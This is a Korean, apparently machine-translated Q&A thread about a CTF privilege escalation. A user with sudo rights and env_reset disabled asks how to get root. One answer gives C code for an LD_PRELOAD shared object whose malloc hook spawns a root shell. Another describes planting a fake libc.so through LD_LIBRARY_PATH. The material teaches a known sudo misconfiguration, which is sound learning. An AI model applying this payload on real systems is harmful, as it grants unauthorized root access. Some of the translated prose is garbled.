저는 ctf 작업 중이며 권한 상승의 마지막 단계에 있습니다. 이 sudo -l
명령을 사용하면 출력은 다음과 같습니다.
Matching Defaults entries for nick on 192:
always_set_home, !env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE LC_ATIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE",!insults, targetpw
User nick may run the following commands on 192:
(ALL) ALL
(root) NOPASSWD: /restart-apache
env_reset을 비활성화해서는 안 된다는 것을 알고 있지만 이를 사용하여 루트 액세스 권한을 얻는 방법을 모르겠습니다!
$ file restart-apache
restart-apache: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=1b1a4ab278b2d1be83e8b14adfc358cfd277d655, for GNU/Linux 3.2.0, with debug_info, not stripped
답변1
sudoers 매뉴얼 페이지에서:
그러나
env_reset
이 옵션이 비활성화된 경우env_check
및 옵션env_delete
에 의해 명시적으로 거부되지 않은 모든 변수는 호출 프로세스에 의해 상속됩니다.
따라서 시작된 프로세스에 임의의 환경 변수를 삽입할 수 있습니다.
어떤 유형의 프로그램인지 는 표시하지 않았지만 /restart-apache
쉘 스크립트라면 쉬울 것입니다. 기능에 영향을 미칠 수 있는 환경 변수가 있나요? 쉘 스크립트가 거의 모든 명령을 실행하면 정확히 무슨 일이 발생합니까? 어디서 찾을 수 있나요?
PATH
글쎄요 , 제가 운이 좋지 않았고 실제로 컴파일된 프로그램이었기 때문에 아마도 통과하지 못했을 것입니다 .가능한, 그러나 그것을 믿기는 어렵습니다.
출력은 file
잘릴 수 있는 것처럼 보입니다. 제가 얻은 출력은 file /bin/ls
다음과 같습니다(여러 줄로 분할됨).
/bin/ls: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=3c233e12c466a83aa9b2094b07dbfaa5bd10eccd,
stripped
(통역사의 전체 경로가 질문의 출력에서 누락되었습니다.)
귀하의 프로그램이 ld-linux-x86-64.so.2
"일반적인" 동적 실행 파일처럼 사용된다면, 그러한 프로그램을 실행할 때 실제로 무슨 일이 일어나는지 확인할 수 있습니다. 예를 들어 여기에서:/lib64/ld-linux-x86-64.so.2는 무엇이며 왜 파일을 실행하는 데 사용할 수 있나요?.
스포일러: 프로그램 자체는 먼저 실행되지 않습니다.
우리는 또한 발견했습니다동적 링커 매뉴얼 페이지. 매뉴얼 페이지에는 프로그램이 시작될 때 설정되는 방식에 영향을 미치는 몇 가지 흥미로운 환경 변수가 나열되어 있습니다(예: LD_*
원하는 작업을 수행하려면 일부 코딩을 수행해야 할 수도 있음).
답변2
env_reset이 설정되지 않았고 env_delete가 포함되지 않았 LD_PRELOAD
으며 env_check
설정되지 않았습니다. LD_PRELOAD=/tmp/sploit.so
루트는 당신 것입니다.
코드는 sploit.so
다음과 같습니다.
#include <unistd.h>
void *malloc(size_t size)
{
static const char* run[] = { "/bin/sh", NULL };
static const char* env[] = { "PATH=/bin:/usr/bin:/sbin:/usr/sbin", "IFS= \t\n", NULL}
execve(run[0], run, env);
_exit(255);
}
답변3
그냥 추가하자면일카츄의 답변:
사용자 정의로 뭔가를 할 수 있다면LD_LIBRARY_PATH다른 표준 라이브러리를 사용하도록 강제할 수 있습니다. 많이내용은 libc.so에 연결되어 있습니다. 를 사용하여 이를 확인할 수 있습니다 ldd
. 예를 들어 ldd $(which ls)
:
linux-vdso.so.1 (0x00007fffcc103000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fb4550ff000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb454f0d000)
libpcre2-8.so.0 => /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fb454e7d000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fb454e77000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb45515b000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fb454e54000)
이제 기본 시스템을 동적으로 로드하고 모든 호출을 시스템에 전달하여 표준 libc.so를 모방하는 사용자 정의 libc.so를 만들 수 있습니다... 이제 교체할 수 있습니다.어느라이브러리의 표준 C 함수를 속이려면 어떻게 해야 할까요?아무것그리고 그것이 무엇을 해야 하는지.
malloc()
따라서 첫 번째 호출 시 사용자에 대한 새 루트 셸(sh 또는 bash)을 생성하는 트릭 libc.so를 만들 수 있습니다.
이것이 의미하는 바는 누군가에게 단일 프로그램을 실행할 수 있는 sudo 액세스 권한만 부여하는 경우 LD_LIBRARY_PATH를 설정하고 트릭 라이브러리(libc.so)를 제공하여 해당 프로그램이 무엇이든 실행하도록 속일 수 있다는 것입니다.